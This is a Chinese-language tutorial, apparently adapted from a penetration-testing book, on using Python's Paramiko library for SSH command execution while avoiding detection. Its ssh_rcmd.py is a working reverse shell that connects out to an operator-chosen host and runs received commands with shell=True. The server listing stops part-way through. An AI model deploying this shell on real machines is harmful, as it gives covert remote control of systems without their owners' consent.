在網路安全領域,利用 SSH 進行加密通訊和遠端指令執行至關重要。本文介紹如何使用 Python 的 Paramiko 函式庫實作這些功能,避免在滲透測試中被檢測。Paramiko 提供了便捷的 SSH2 協定存取方式,方便我們構建和管理 SSH 連線,進行指令操作及資料傳輸。文章將逐步講解如何安裝 Paramiko、執行基本 SSH 指令、在 Windows 上執行遠端指令,以及建立 SSH 虛擬伺服器,並提供程式碼範例和技術分析,幫助讀者深入理解並應用這些技術。
SSH 與 Paramiko:進行加密通訊與遠端指令執行
在網路安全滲透測試中,使用加密通訊來避免被檢測是非常重要的。這時候,使用 Secure Shell (SSH) 來隧道化流量是一個常見的選擇。然而,如果目標系統沒有內建的 SSH 客戶端(例如大多數 Windows 系統),我們該如何處理?
儘管有許多優秀的 Windows SSH 客戶端(如 PuTTY),但作為一本關於 Python 的書,我們更關注的是如何利用 Python 來實作這些功能。在 Python 中,我們可以使用 Paramiko 函式庫來簡單地存取 SSH2 協定。Paramiko 根據 PyCrypto,能夠幫助我們構建和管理 SSH 連線。
安裝 Paramiko
首先,我們需要安裝 Paramiko 函式庫。可以使用以下命令來安裝:
pip install paramiko
並且從 Paramiko 的 GitHub 倉函式庫下載一些範例檔案(https://github.com/paramiko/paramiko/),以便後續使用。
基本的 SSH 指令執行
我們將從一個簡單的範例開始,使用 Paramiko 建立一個連線並在 SSH 系統上執行指令。這個範例將展示如何連線到遠端 SSH 伺服器並執行一個指令。
ssh_cmd.py
import paramiko
def ssh_command(ip, port, user, passwd, cmd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
_, stdout, stderr = client.exec_command(cmd)
output = stdout.readlines() + stderr.readlines()
if output:
print('--- Output ---')
for line in output:
print(line.strip())
if __name__ == '__main__':
import getpass
user = input('Username: ')
password = getpass.getpass()
ip = input('Enter server IP: ') or '192.168.1.203'
port = input('Enter port or <CR>: ') or 22
cmd = input('Enter command or <CR>: ') or 'id'
ssh_command(ip, port, user, password, cmd)
內容解密:
- 1. 建立函式
ssh_command
:這個函式負責建立與遠端 SSH 伺服器的連線並執行指定的指令。 - 2. 自動新增主機鑰政策:由於我們控制了連線的兩端,因此設定政策以自動接受 SSH 伺服器的鑰匙。
- 3. 執行指令:使用
exec_command
方法執行指定的指令,並讀取標準輸出和錯誤輸出。 - 4. 輸入使用者名稱和密碼:使用
getpass
模組來安全地取得使用者名稱和密碼。 - 5. 執行函式
ssh_command
:將輸入的 IP 地址、埠、使用者名稱、密碼和指令傳遞給ssh_command
函式。
在 Windows 上執行遠端指令
接下來,我們將修改這個指令碼以便在 Windows 客戶端上執行遠端指令。通常,SSH 是用來從客戶端連線到伺服器上的,但由於大多數 Windows 作業系統沒有內建的 SSH 伺服器,我們需要反轉這個過程,從 SSH 伺服器傳送指令到 SSH 客戶端。
ssh_rcmd.py
import paramiko
import shlex
import subprocess
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print(ssh_session.recv(1024).decode())
while True:
command = ssh_session.recv(1024)
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
cmd_output = subprocess.check_output(shlex.split(cmd), shell=True)
ssh_session.send(cmd_output or 'okay')
except Exception as e:
ssh_session.send(str(e))
client.close()
if __name__ == '__main__':
import getpass
user = getpass.getuser()
password = getpass.getpass()
ip = input('Enter server IP: ')
port = input('Enter port: ')
ssh_command(ip, port, user, password, 'ClientConnected')
內容解密:
- 1. 接收命令和執行:在
while True
輪詢中,從連線中接收命令並執行它。 - 2. 執行命令:使用
subprocess.check_output
和shlex.split
來執行命令並取得輸出。 - 3. 傳送回應:將命令的輸出傳送回呼叫者。
- 4. 初始化命令:第一個命令是
ClientConnected
。這在後續建立另一端的 SSH 連線時會有所作用。
建立 SSH 虛擬伺服器
最後,我們需要建立一個 SSH 虛擬伺服器,讓我們的 SSH 客戶端能夠連線到它並執行指令。這個伺服器可以執行在任何安裝了 Python 和 Paramiko 的系統上(如 Linux、Windows 或 macOS)。
ssh_server.py
import os
import paramiko
import socket
import sys
import threading
CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key'))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
內容解密:
- 1. 生成主機鑰:從檔案中讀取 RSA 鑰匙。
- 2. 建立伺服器類別:這個類別繼承自
paramiko.ServerInterface
,用於處理伺服器的一些基本功能。 - 3. 檢查通道請求:如果請求是「session」型別,則傳回成功;否則傳回失敗。
分析與應用
以上範例展示瞭如何使用 Paramiko 在 Python 中實作基本的 SSH 功能。無論是直接連線到遠端伺服器執行指令、還是反轉角色讓 Windows 機器接收並執行遠端指令、甚至建立自己的 SSH 虛擬伺服器,這些技術都能夠幫助我們在網路安全滲透測試中更靈活地操作。
未來趨勢預測:隨著雲端運算和虛擬化技術的發展,SSH 的應用場景會變得更加廣泛。特別是在跨平台環境中,SSH 作為一種安全且靈活的通訊方式,將會越來越受到重視。
此圖示展示了本章節主要流程
flowchart TD;
A[連線到遠端SSH伺服器] --> B[執行命令和取得輸出];
B --> C[顯示輸出結果];
D[Windows客戶端連線] --> E[傳送命令和取得回應];
E --> F[執行並傳回結果];
G[建立SSH虛擬伺服器] --> H[處理通道請求];
圖表解釋:
- A: 描述如何連線到遠端SSH伺服器並執行相關命令和取得輸出。
- B: 在遠端機上執行命令和取得輸出並傳回本地機。
- C: 在本地終端上顯示執行結果。
- D: 描述Windows客戶端如何連線到遠端機併傳送命令和取得回應。
- E: 在遠端機上執行Windows上的命令和將結果傳送回Windows客戶機。
- F: 在Windows客戶機上顯示執行結果。
- G: 描述如何建立一個SSH虛擬伺服器來處理來自其他客戶機發來的請求。
- H: 檢查通道請求並處理其相關資訊。